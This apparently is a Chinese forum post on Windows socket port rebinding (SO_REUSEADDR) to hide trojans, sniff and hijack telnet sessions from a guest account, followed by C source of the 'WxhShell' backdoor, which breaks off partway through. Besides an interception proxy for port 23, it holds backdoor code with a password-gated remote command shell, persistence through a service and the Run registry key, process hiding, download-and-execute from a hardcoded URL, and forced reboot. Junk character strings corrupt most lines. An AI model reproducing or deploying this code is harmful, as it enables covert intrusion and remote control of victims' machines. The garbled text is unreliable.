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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m?3!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |v,%!p s  
<ZmC8&Uo  
  saddr.sin_family = AF_INET; ^h wF=  
~,#zdm1r@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SURbH;[   
~N "rr.w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z;M}.'BE  
z+3G zDLy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2gP^+.  
sVXIR  
  这意味着什么?意味着可以进行如下的攻击: F)fCj^ zL  
vG E;PwR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q8DSKi  
]QM{aSvXA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <'(O0  
nsf.wHGZ"J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [l~Gwaul>  
m@(8-_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~>2DA$Ec  
j&6O 1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W=QT-4  
^7b[s pqE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h\qQ%|X  
>.sdLA Si  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a4a/]q4T  
1#nR$  
  #include lI,lR  
  #include B!PT|  
  #include MxXf.iX&  
  #include    A(Tqf.,G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VIIBw  
  int main() whH_<@!  
  { b\{34z,  
  WORD wVersionRequested; .~3s~y*s  
  DWORD ret; $*k(h|XfwW  
  WSADATA wsaData; 4O I''i  
  BOOL val; x6n(BMr  
  SOCKADDR_IN saddr; 30BFwNE  
  SOCKADDR_IN scaddr; Wi;wu*  
  int err; ~ShoU m[  
  SOCKET s; J&hzr t  
  SOCKET sc; zcqv0lM '  
  int caddsize; ,Wbr; zb  
  HANDLE mt; YGdzA]3>  
  DWORD tid;   h4iz(*  
  wVersionRequested = MAKEWORD( 2, 2 ); vHydqFi9  
  err = WSAStartup( wVersionRequested, &wsaData ); E*B6k!:  
  if ( err != 0 ) { 4J~ZZ  
  printf("error!WSAStartup failed!\n"); 6np  
  return -1; {4C/ZA{|l  
  } p1BMQ?=($  
  saddr.sin_family = AF_INET; R5"5Z?'  
   5YV3pFz$)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CjQ)Bu *4  
{M_*hR;lL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KfPYH\ 0  
  saddr.sin_port = htons(23); {s{ bnU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q HU}EEv  
  { T A9Kg=_  
  printf("error!socket failed!\n"); z+5ZUS2~&  
  return -1; ^ ,cwm:B@  
  } dvc=<!"'S  
  val = TRUE; }G/#Nb)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bb4 `s0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  fOUW{s  
  { 15l{gbCW  
  printf("error!setsockopt failed!\n"); j@o \d%.'!  
  return -1; kq4ii`zi8  
  } _\ &N<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m) q e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rlpbLOG`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /cXVJ(#j  
<E&8g[x6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =i1+t"=  
  { vVy X[ZZ  
  ret=GetLastError(); Lu.C+zgQ  
  printf("error!bind failed!\n"); ~u.( (GM  
  return -1; r7zS4;b  
  } q}+Fm?B   
  listen(s,2); 2mt S\bAF  
  while(1) q(XO_1W0V  
  { + t JEG:  
  caddsize = sizeof(scaddr); |Bhj L,  
  //接受连接请求 %+bw2;a6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +FBUB  
  if(sc!=INVALID_SOCKET) uLq%Nu  
  { P 5_ l&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pw|J([  
  if(mt==NULL) DQ`\HY  
  { W }  
  printf("Thread Creat Failed!\n"); Oh'C [  
  break; r^ Mu`*x*  
  } rYfN  
  } DlF6tcoI  
  CloseHandle(mt); L3J .Oh  
  } $gPR3*0  
  closesocket(s); 2PDU(R  
  WSACleanup(); -R BH5+SS2  
  return 0; o/\f+iz7  
  }   %SC%#_7  
  DWORD WINAPI ClientThread(LPVOID lpParam) ><DXT nt'x  
  { f2]O5rX p  
  SOCKET ss = (SOCKET)lpParam; 3q)y;T\yW  
  SOCKET sc; g+pj1ycw/  
  unsigned char buf[4096]; m IYM+2p  
  SOCKADDR_IN saddr; 2od 9Q=v~  
  long num; ,1ceNF#oL  
  DWORD val; 8-geBlCE,  
  DWORD ret; S7kZpD $  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1MYA/l$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `&/~%>  
  saddr.sin_family = AF_INET; bPMkBm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EF5:$#  
  saddr.sin_port = htons(23); @q++eGm\Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PlC8&$   
  { i}e4P>ADD  
  printf("error!socket failed!\n"); 7T/hmVi_  
  return -1; ?Vo/mtbY5X  
  } -;RW)n^n  
  val = 100; )ad6>Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 17) `CM$<[  
  { ){FXonVP  
  ret = GetLastError(); ]MaD7q>+R  
  return -1; v?<Tkw ^F  
  } Yu e#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2E_d$nsJ  
  { -,pw[R  
  ret = GetLastError(); x2$Y"b?vz  
  return -1; 0oNy  
  } 5169E*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5$<Ozkj(  
  { 9 =zZ,dg  
  printf("error!socket connect failed!\n"); Q)%a2s;  
  closesocket(sc); k35E,?T  
  closesocket(ss); BQF7S<O+  
  return -1; r~Vb*~U"  
  } uK5 C-  
  while(1) Og/@w&  
  { x>eV$UJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vQsI^p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q'R*a(pm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~ "stI   
  num = recv(ss,buf,4096,0); QvvH/u  
  if(num>0) xt=ELzu$  
  send(sc,buf,num,0); C~q&  
  else if(num==0) Rw]lW;EN<  
  break; L`n Ma   
  num = recv(sc,buf,4096,0); |\6Ff/O  
  if(num>0) rlP?Uh  
  send(ss,buf,num,0); atYe$Db  
  else if(num==0) o@@, }  
  break; /;9iDjG  
  } gf^XqTLs  
  closesocket(ss); &N|`Q (QXS  
  closesocket(sc); Ers8J V  
  return 0 ; x) OJ?l  
  } C)qy=lx%  
3R)_'!R[B  
L1u(\zw  
========================================================== ^J?y mo$>0  
;wKsi_``@  
下边附上一个代码,,WXhSHELL Rr"D)|Y;C(  
GPLq$^AH  
========================================================== =+"=|cQ  
NhF<2[mt  
#include "stdafx.h" |Wz`#<t  
iiD }2y b  
#include <stdio.h> 6 TSC7jO  
#include <string.h> EB2 5N~7  
#include <windows.h> 6:3F,!J!  
#include <winsock2.h> Z<W`5sop^  
#include <winsvc.h> (M nK \^Y  
#include <urlmon.h> WR5W0!'Tf  
5KRI}f  
#pragma comment (lib, "Ws2_32.lib") Xot2L{EIUE  
#pragma comment (lib, "urlmon.lib") ,*j@Zb_r  
M.0N`NmS  
#define MAX_USER   100 // 最大客户端连接数 z\r29IRh  
#define BUF_SOCK   200 // sock buffer ew 4pAav  
#define KEY_BUFF   255 // 输入 buffer :!<U"AC  
w i=&W  
#define REBOOT     0   // 重启 `VD7VX,rp*  
#define SHUTDOWN   1   // 关机 w .+B h  
\Ws$@ J-M  
#define DEF_PORT   5000 // 监听端口 sQgJ`+Y8_  
4$MV]ldUI  
#define REG_LEN     16   // 注册表键长度 B(qwTz 51  
#define SVC_LEN     80   // NT服务名长度 !B:wzb_  
h[}e5A]}  
// 从dll定义API H-5h-p k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xay~fD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U2kl-E:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *D:uFo,xn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i f!   
K\y W{y1  
// wxhshell配置信息 }CB9H$FkCY  
struct WSCFG { f/3rcYR;y  
  int ws_port;         // 监听端口 WdJJt2'  
  char ws_passstr[REG_LEN]; // 口令 -@?4Tfl  
  int ws_autoins;       // 安装标记, 1=yes 0=no = sh3&8  
  char ws_regname[REG_LEN]; // 注册表键名 >o|.0aw<  
  char ws_svcname[REG_LEN]; // 服务名 [[' (,,r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VGeyZ\vU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8 GW0w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WI\jm&H r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hd~0qK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vG#,J&aW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6![}Jvu>  
E4qQ  
}; -mqL[ h,  
 RR[1mM  
// default Wxhshell configuration  re@;6o  
struct WSCFG wscfg={DEF_PORT, R-OQ(]<*  
    "xuhuanlingzhe", xY<*:&  
    1, %%qg<iO_  
    "Wxhshell", ak$D1#hY  
    "Wxhshell", k4`(7Z  
            "WxhShell Service", !T RU  
    "Wrsky Windows CmdShell Service", E?cf#;2h8m  
    "Please Input Your Password: ", {q.|UCg[L  
  1, ]qO*(m:}o  
  "http://www.wrsky.com/wxhshell.exe", IA^*?,AZy  
  "Wxhshell.exe" ]@ N::!m  
    }; $n_ax\15  
M{Hy=:K+  
// 消息定义模块 JV@b(x`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \fJ _,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J>Bc-%.Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *IIuGtS  
char *msg_ws_ext="\n\rExit."; &2,^CG  
char *msg_ws_end="\n\rQuit."; .'zcD^  
char *msg_ws_boot="\n\rReboot..."; `[F[0fY-  
char *msg_ws_poff="\n\rShutdown..."; QR {>]I  
char *msg_ws_down="\n\rSave to "; +XpQ9Cd  
!MEA@^$#  
char *msg_ws_err="\n\rErr!"; aqKrf(Rv  
char *msg_ws_ok="\n\rOK!"; rHJtNN8$k  
_FP'SVa}D  
char ExeFile[MAX_PATH]; Eu`K2_b  
int nUser = 0; lc\%7-%:5  
HANDLE handles[MAX_USER]; @f`s%o  
int OsIsNt; &{ZTtK&JF  
UX@8  
SERVICE_STATUS       serviceStatus; V~]&1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nc:0opPM  
8DcIM(;Z  
// 函数声明 i9v|*ZM"  
int Install(void); b/obHB+:  
int Uninstall(void); /kNSB;  
int DownloadFile(char *sURL, SOCKET wsh); y4Lh:;  
int Boot(int flag); DTz)qHd#X  
void HideProc(void); #D .hZ=!  
int GetOsVer(void); 9F2MCqvcm  
int Wxhshell(SOCKET wsl); #BwOWra  
void TalkWithClient(void *cs); G!E1N(%o  
int CmdShell(SOCKET sock); q" @%WK  
int StartFromService(void); Huf;A1.  
int StartWxhshell(LPSTR lpCmdLine); mO&zE;/[  
^ wb9n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?b xa k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )}1S `*J/O  
b_']S0$c\  
// 数据结构和表定义 ?6//'bO:%  
SERVICE_TABLE_ENTRY DispatchTable[] = T[%@B"  
{ E^? 3P'%^  
{wscfg.ws_svcname, NTServiceMain}, L16">,5  
{NULL, NULL} bFsJqA.A  
}; }xpo@(e  
Ti$_V_  
// 自我安装 |vgYi  
int Install(void) Zb$P`~(%  
{ `!y/$7p  
  char svExeFile[MAX_PATH]; 4q*mEV  
  HKEY key; 5U6b\jxX  
  strcpy(svExeFile,ExeFile); Zqj EVVB  
/7igPNhx  
// 如果是win9x系统,修改注册表设为自启动 .svlJSx  
if(!OsIsNt) { [U_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8y'.H21:;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VF:95F;@  
  RegCloseKey(key); \-CL}Z}S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .x][ _I>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l09DH+  
  RegCloseKey(key); i/RA/q  
  return 0; Xp0S  
    } 6-QcHJ>m6U  
  } r=S,/N(1  
} g)nT]+&  
else { 3c[]P2Bh  
,D2nUk  
// 如果是NT以上系统,安装为系统服务 +lZvj=gW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $lb$<  
if (schSCManager!=0) yny1i9 y  
{ {9- n3j}  
  SC_HANDLE schService = CreateService  0X}0,  
  ( sF~!qag4q'  
  schSCManager, qv3% v3\4  
  wscfg.ws_svcname, w]O,xO  
  wscfg.ws_svcdisp, ?[2>x{5Z  
  SERVICE_ALL_ACCESS, 9}z%+t8u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B:#9   
  SERVICE_AUTO_START, IC+!XZqS  
  SERVICE_ERROR_NORMAL, 3ICMH  
  svExeFile, bVOJp% *s  
  NULL, |f2 bb  
  NULL, LL+PAvMg  
  NULL, UeU`U  
  NULL, f47dB_{5f.  
  NULL R7/ET"  
  ); 6/.cS4  
  if (schService!=0) r*{`_G=1  
  { 9*2^2GR^;  
  CloseServiceHandle(schService); @k)[p+)E  
  CloseServiceHandle(schSCManager); YR u#JYti  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,$Xhwr  
  strcat(svExeFile,wscfg.ws_svcname); uLSuY}K0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y=Om0=v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /]-a 1  
  RegCloseKey(key); \WxBtpbQ B  
  return 0; |>KOlwh5n  
    } ,PeE'$q  
  } </D )i  
  CloseServiceHandle(schSCManager); 6UM1>xq9A  
} /i(R~7;?  
} ##nC@h@  
yaYJmhG  
return 1; xc,Wm/[  
} J$i.^|hE/  
GezMqt;2  
// 自我卸载 ^/~C\ (  
int Uninstall(void) ;),vUu,k  
{ GQDW}b8  
  HKEY key; A+hA'0isF@  
aUq 2$lw1  
if(!OsIsNt) { Dq+S'x~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rw)=<XV)6  
  RegDeleteValue(key,wscfg.ws_regname); RaOLy \  
  RegCloseKey(key); Y|ErVf4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =s&ycc;-5}  
  RegDeleteValue(key,wscfg.ws_regname); Y6m:d&p=}  
  RegCloseKey(key); 2yV^'o)  
  return 0; !Y10UmMu  
  } ]Rj?OSok  
} \k5 sdHmI[  
} h}Lrpr2r  
else { GK1oS  
395`Wkv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q096M 0m  
if (schSCManager!=0) y7x*:xR[  
{ 6N[X:F 3`,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fWyXy%Qq  
  if (schService!=0) WWT1_&0  
  { i&j]FX6q  
  if(DeleteService(schService)!=0) { q^h/64F  
  CloseServiceHandle(schService); 7G%:ckg  
  CloseServiceHandle(schSCManager); [DvQk?,t  
  return 0; o8~<t]Ejw  
  } $E}N`B7  
  CloseServiceHandle(schService); \LM.>vJ  
  } >L433qR  
  CloseServiceHandle(schSCManager); ~.CmiG.7  
} N v6=[_D  
} qWD(rq+9  
ZqX p f  
return 1; (XEJd4r  
} ]I\9S{?  
ij?Ww'p9>  
// 从指定url下载文件 W&v|-#7=6  
int DownloadFile(char *sURL, SOCKET wsh) o{3>n" \w3  
{ 0wt4C% .0  
  HRESULT hr; ~-#Jcw$+n=  
char seps[]= "/"; &r2\P6J  
char *token; 73JrK_h  
char *file; b4 Pa5 w  
char myURL[MAX_PATH]; E6zPN?\ <  
char myFILE[MAX_PATH]; F>eo.|'  
9 dK`  
strcpy(myURL,sURL); !C ZFbz~:  
  token=strtok(myURL,seps); }=|plz}  
  while(token!=NULL) Ey% KbvNv  
  { ]K QQdr   
    file=token; ?}#Iu-IA  
  token=strtok(NULL,seps); g}pD%  
  } %e:[[yq)G  
0~ o,^AW  
GetCurrentDirectory(MAX_PATH,myFILE); e m  
strcat(myFILE, "\\"); bnJ4Edy  
strcat(myFILE, file); 7&u$^c S(  
  send(wsh,myFILE,strlen(myFILE),0); hD{ `j  
send(wsh,"...",3,0); Nh\o39=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f{2I2kJr  
  if(hr==S_OK) J?Oeuk~[D  
return 0; qG +PqK;  
else J~C=o(r  
return 1; k 7:Z\RGy  
U+zntB  
} V[n,fEPBr  
ja6V*CWb  
// 系统电源模块 ;SX~u*`R  
int Boot(int flag) !+]KxB   
{ eJeL{`NS  
  HANDLE hToken; MG~bDM4  
  TOKEN_PRIVILEGES tkp; 0 {  
3-'3w,  
  if(OsIsNt) { Jhfw$DF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E6z&pM8<8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @9R78Zra  
    tkp.PrivilegeCount = 1; )S;3WnQ)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; txE+A/>i9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :(@P *"j  
if(flag==REBOOT) { hVAatn[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0o:R:*  
  return 0; "BZ@m:I6hy  
} 3O;"{E= <  
else { wB&5q!{!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q>71uM%e`  
  return 0; BGHZL~  
} zRbY]dW  
  } z#1"0Ks&P  
  else { 20}w . V  
if(flag==REBOOT) { 0Ua=&;/2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *F!1xyg  
  return 0; ,RW`9+gx  
} cL][sI  
else { pC #LQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7O:g;UI#  
  return 0; 7iyx_gyo  
} VJ?>o  
} +bT[lJ2O>G  
G4&?O_\;  
return 1; U`5/tNx  
} IUNr<w<  
CD%Cb53  
// win9x进程隐藏模块 XMdCQ=  
void HideProc(void) H \'1.8g/  
{ ZCV i ZWo  
64]8ykRD-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DEbMb6)U  
  if ( hKernel != NULL ) PQa0m)H@  
  { ^bP`Iv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y#th&YC_b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1z4_QZZ.NG  
    FreeLibrary(hKernel); WIuYSt)h  
  } :Z x|=  
v5@M 34  
return; Sc/$ 2gSG  
} H5 V>d  
jU* D  
// 获取操作系统版本 !zllv tK4  
int GetOsVer(void) g7a446QR\K  
{ kD?@nx>  
  OSVERSIONINFO winfo; 3W]gn8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dh}(B$~Oz+  
  GetVersionEx(&winfo); +cSc0:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d4*SfzB  
  return 1; kkWv#,qwU  
  else RV);^, b  
  return 0; gPb.%^p  
} @d^Z^H*Y v  
Em^~OM3U$q  
// 客户端句柄模块 P/.<sr=2  
int Wxhshell(SOCKET wsl) r-TrA$k  
{ 9} m?E<6&  
  SOCKET wsh; +L`}(yLJ)9  
  struct sockaddr_in client; sZT~ 5c8  
  DWORD myID; ge:a{L  
C\~}ySQc.e  
  while(nUser<MAX_USER) 6<$.Z-,  
{ 8'jt59/f  
  int nSize=sizeof(client); [P =P8-5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `[g$EXX  
  if(wsh==INVALID_SOCKET) return 1; Nw$OJ9$L>  
[rWBVfm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); , ?U)mYhI  
if(handles[nUser]==0) @j_o CDS  
  closesocket(wsh); h7^&:  
else *1{A'`.=\  
  nUser++; v/9ZTd  
  } GWWg3z.o"W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f? @Qt<+k  
z<%bNnSO  
  return 0; c:u*-lYmK%  
} eZqEFMBTm  
ZY]$MZf5yo  
// 关闭 socket ^4+NPk  
void CloseIt(SOCKET wsh) z k/`Uz  
{ 6PYt>r&TO  
closesocket(wsh); cWZITT{A  
nUser--; tWTHyL  
ExitThread(0); #~)A#~4O  
} _.Hj:nFHz  
`;+x\0@<  
// 客户端请求句柄 *X/Vt$P  
void TalkWithClient(void *cs) xc 1d[dCdp  
{ _<#92v !F  
3*~`z9-z  
  SOCKET wsh=(SOCKET)cs; SsTBjIX  
  char pwd[SVC_LEN]; 6qFzo1LO  
  char cmd[KEY_BUFF]; \}v@!PQl  
char chr[1]; o>C,Db~L/  
int i,j; M,@M5o2u  
m+;U,[%[*E  
  while (nUser < MAX_USER) { n=V|NrU  
''@Tke3IG6  
if(wscfg.ws_passstr) { T` h%=u|D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V 97ORI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pxgf%P<7  
  //ZeroMemory(pwd,KEY_BUFF); R}gdN-941  
      i=0; hmo4H3g!N  
  while(i<SVC_LEN) { L%/>Le}VX  
W+1nf:AI.  
  // 设置超时 PL{lYexJ  
  fd_set FdRead; ?D _4KFr  
  struct timeval TimeOut; * @]wT'  
  FD_ZERO(&FdRead); <ef O+X!  
  FD_SET(wsh,&FdRead); JAd .\2%Y  
  TimeOut.tv_sec=8; /y{: N  
  TimeOut.tv_usec=0; m(U.BXo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tj~r>SRb+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pNOE KiJ  
~6n|GxR.[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P|@[D=y  
  pwd=chr[0]; }6\,kFc  
  if(chr[0]==0xd || chr[0]==0xa) { ?V8Fgd  
  pwd=0; XXum2eA  
  break; 4"kc(J`c  
  } t2)uJN`a$X  
  i++; f?tU5EX  
    } Rf8Obk<  
9)v]jk  
  // 如果是非法用户,关闭 socket v)_c*+6u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .O1w-,=  
} nMzt_IlI  
Hq 5#.rZ#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ejZ-A?f-K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y,`n9[$K\  
= K}Pfh  
while(1) { fYy w2"  
pJ}U'*Z2  
  ZeroMemory(cmd,KEY_BUFF); l+F29_o#  
yZ,pH1  
      // 自动支持客户端 telnet标准   _ikKOU^8  
  j=0; O U7OX]h  
  while(j<KEY_BUFF) { ]NTQF/   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xjbI1qCfe  
  cmd[j]=chr[0]; H"? 5]!p  
  if(chr[0]==0xa || chr[0]==0xd) { c=\_[G(  
  cmd[j]=0; rtz-kQ38R  
  break; ?wG  
  } ,Ohhl`q(  
  j++; V[kJ;YLPN  
    } WLXt@dK*u  
siCi+Y  
  // 下载文件 ##Pzc~xSn  
  if(strstr(cmd,"http://")) { KyX2CfW}t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YU-wE';H6  
  if(DownloadFile(cmd,wsh)) ~3j +hN8<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S y <E@1  
  else drjNK!XL@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^2Cqy%x-  
  } 9D\E0YG X/  
  else { 98R/ ^\  
D? %*L  
    switch(cmd[0]) { W)r|9G8T  
  mv:@D  
  // 帮助 n$SL"iezW?  
  case '?': { vzI>:Bf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qbq2Bi'a  
    break; N7"cMAs\G  
  } }rmr0Bh  
  // 安装 8BAe6-*S8  
  case 'i': { +1c r6a  
    if(Install()) W895@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U9`Co&Z2  
    else 81|[Y'f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XkqsL0\  
    break; 0AWxU?$A4  
    } &?QKWxN  
  // 卸载 Pl'lmUR  
  case 'r': { Ou4hAm91s  
    if(Uninstall()) Z<d=v3q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $bMmyDw  
    else WNjG/U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AFR \{  
    break; !U4YA1>>  
    } KS5a8'U  
  // 显示 wxhshell 所在路径 8SroA$^n  
  case 'p': { 30I-E ._F  
    char svExeFile[MAX_PATH]; lQ^"-zO4  
    strcpy(svExeFile,"\n\r"); !sI^Lh,Y  
      strcat(svExeFile,ExeFile); Y]6d Yq{k  
        send(wsh,svExeFile,strlen(svExeFile),0); gAEB  
    break; 90abA,U@  
    } Xl<*Fn?  
  // 重启 S3HyB b  
  case 'b': { voRb>xF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `j'1V1  
    if(Boot(REBOOT)) 9Ut eD@*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8H};pu2  
    else { "+O/OKfR0  
    closesocket(wsh); L^C B#5uG  
    ExitThread(0); //r)dN^  
    } *7*cWO=  
    break; OD Ry  
    } 0r$n  
  // 关机 D{d%*hlI 3  
  case 'd': { '?I3&lYz{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N8x&<H  
